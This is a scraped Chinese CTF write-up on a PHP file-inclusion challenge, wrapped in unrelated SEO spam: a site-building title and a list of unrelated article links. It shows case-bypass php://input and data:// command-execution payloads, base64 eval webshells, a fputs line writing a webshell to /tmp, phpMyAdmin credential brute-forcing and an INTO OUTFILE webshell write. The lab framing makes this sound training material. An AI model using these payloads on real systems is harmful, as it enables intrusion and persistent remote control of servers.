当前位置: 首页 > news >正文

专业的网站建设案例网站服务器建设的三种方法

专业的网站建设案例,网站服务器建设的三种方法,手机论坛,蒙山县网站建设知识点#xff1a;代码审计 文件包含 伪协议 伪协议知识点补充#xff1a; 在PHP中#xff0c;伪协议#xff08;Pseudo Protocols#xff09;也被称为流包装器#xff0c;这些伪协议以 php://开头#xff0c;后面跟着一些参数#xff0c;用于指定要执行的操作或需要…知识点代码审计 文件包含 伪协议 伪协议知识点补充 在PHP中伪协议Pseudo Protocols也被称为流包装器这些伪协议以 php://开头后面跟着一些参数用于指定要执行的操作或需要访问的资源。 ​ 伪协议表明这些协议并不是一个真实的外部协议例如http或ftp。PHP伪协议的出现是为了提供一个统一的、简洁的接口来处理不同的数据流。这些伪协议可以被看作是一种桥梁它们允许开发者使用常规的文件操作函数来处理各种不同的数据流。 php://input是PHP提供的一个伪协议允许开发者访问POST请求的原始内容对于POST请求数据PHP提供了 $_POST 和 $FILES 超全局变量在客户端发起POST请求时PHP将自动处理POST提交的数据并将处理结果存放至 $_POST 和 $FILES 中。 一、解题思路 step 1 打开靶机审题 打开靶机得到一串代码开始代码审计 ?php show_source(__FILE__); echo $_GET[hello]; $page$_GET[page]; while (strstr($page, php://)) {$pagestr_replace(php://, , $page); } include($page); ? step 2 代码审计 show_source(__FILE__); show_source() 函数将指定文件的内容以语法高亮的形式输出 strstr($page, php://) strstr()函数 strstr(字符串,你要搜索的内容,false) 括号里面有三个部分 1.字符串也就是上面的$page。例如在url后面添加 /?page123456那么$page的内容就是123456。 2.你要搜索的内容也就是题目中的php://。意思就是该函数会从$page的内容里去寻找php://而这里是一个while语句一旦查找到php://那么就会执行大括号里面的语句。 例如我的url是 http://61.147.171.105:53858/?pagephp.php://input 那么传入的$page的内容就是php://input而前面的“php.”就会被丢弃。 3.false我这里写false的原因是该参数默认是false。也就是一般情况只需要写前两个参数即可。false代表匹配到php://之后会输出php://和之后的内容。而如果为true则会输出“php.”也就是php://前面的内容。 注strstr函数对大小写敏感也就是会区分大小写。 str_replace(php://, , $page) str_replace()函数 str_replace函数这个函数的作用是将匹配到的php://全部替换为空。 例如str_replace(“1”“2”“123”)会输出223。因为会将全部的1替换为2。同样区分大小写 str_replace(php://, , $page) 即会将 php:// 替换为 $page 中的值。 总之程序过滤掉了page参数传入php:// step 3 五个解法 解法一 使用php://input 伪协议大小写绕过/原因strstr函数区分大小写 php://input可用于执行php代码使用post方式传递代码即可。这里再将php改为PHP 构建url为 /?pagePHP://input 使用hackbar或bp抓包用post方式传递php代码。 ?php system(ls); ? 列出所有文件 fl4gisisish3r3.php 疑似flagcat一下得到了真的flag 解法二 data://伪协议执行命令利用 既然过滤了php://的伪协议 我们可以使用其他协议来替代这里使用data://伪协议 data://伪协议php5.2.0起数据流封装器开始有效主要用于数据流的读取。如果传入的数据是PHP代码就会执行代码 使用方法: data://text/plain;base64,xxxx(base64编码后的数据) ?php system(dir)? base64编码后为 PD9waHAgc3lzdGVtKCJkaXIiKT8 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgc3lzdGVtKCJkaXIiKT8%2b (注意编码后的号要URL编码) ?php system(cat fl4gisisish3r3.php)? base64编码后使用 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg 查看源码得到flag 解法三 data://伪协议转木马 ?php eval($_POST[x]); ? base64加密后拼接 http://61.147.171.105:64764/?pagedata://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg 菜刀连接即可: 解法四 抓包后再最下面添加一段代码蚁剑 代码如下 ?PHP fputs(fopen(/tmp/shell.php,w),?php eval($_POST[x])?);? 注意点这里一句话木马[]里没有单引号蚁剑链接先测试链接 Tipslinux默认tmp是可写目录所以尝试一句话然后蚁剑链接即可看到文件 解法四 数据库写入一句话木马这里没弄明白在哪里写入一句话木马望大佬指条明路 dirsearch扫描获得phpmyadmin文件怪怪的传参进去看看情况得到如下界面 抓包爆破用户名和密码 得到用户名为root密码为空 进入数据库执行这条命令查看secure_file_priv是否为空为空则可以写数据 SHOW VARIABLES LIKE secure_file_priv 显示为空 然后写入一句话马用蚁剑连接 SELECT ?php eval($_POST[xiaohua]); ? INTO OUTFILE /tmp/test1.php 注secure_file_priv 为系统变量如果是null即没设置允许操作的目录所以没法导出到文件 解法五 通过hello参数回显新方法但这里模棱两可这里也需要大佬指路 payload如下(flag文件名由上面方法可以得到) http://61.147.171.105:64764/?pagehttp://127.0.0.1?hello?show_source(fl4gisisish3r3.php);? 大概理解一下 首先使page参数为本页代码绕过判断会执行include文件包含本页代码这时传入的hello参数会被视为php代码执行
http://www.w-s-a.com/news/151321/

相关文章:

  • 网站群建设模板迁移原站迁移pc巩义网站建设案例课堂
  • 烟台高端网站开发wordpress 设置权限
  • 中小企业网站制作流程网站开发和设计人员的岗位要求
  • 公司网站建设多少费用河北城乡建设官网站
  • 国科联创网站建设广告传媒公司招聘信息
  • 网站后台文章删了 怎么前台还有一级做爰片软件网站
  • 辽宁省建设注册中心网站wordpress 博客插件
  • 做电商看的网站有哪些网站建设需求策划书
  • 关于网站建设交易流程的描述一句话哪些网站用户体验好
  • 男女做暖暖的网站大全深圳平台网站建设外包
  • 凯里展示型网站设计抖音代运营收费详细价格
  • 外包网站会自己做原型吗网站制作怎样盈利
  • 为什么在百度搜不到我的网站电商网站开发过程
  • 什么是网站反链网页设计页面链接
  • 佛山企业网站制作韩国seocaso
  • 微信公司网站vue做社区网站
  • 蒙阴网站优化五核网站建设
  • 企业微商城网站建设wordpress新闻是哪个表
  • 重庆网站开发培训机构电商网站创办过程
  • 企业建网站得多少钱长沙财优化公司
  • 网站开发api平台扒完网站代码之后怎么做模板
  • PHP网站建设选择哪家好动画设计师月薪多少
  • 网站如何做市场推广网站开发主要步骤
  • 浏览器正能量网站网页文章导入wordpress
  • 江西中国建设银行网站首页永久免费自助建网站
  • 创建自己网站的步骤吸引人的微信软文
  • 网站建设与网页设计论述题软件开发公司在哪里
  • 二级网站建设方案模板亚马逊网站建设案例
  • 网站开发兼职团队门户网站如何制作
  • 高州市网站建设开发区招聘信息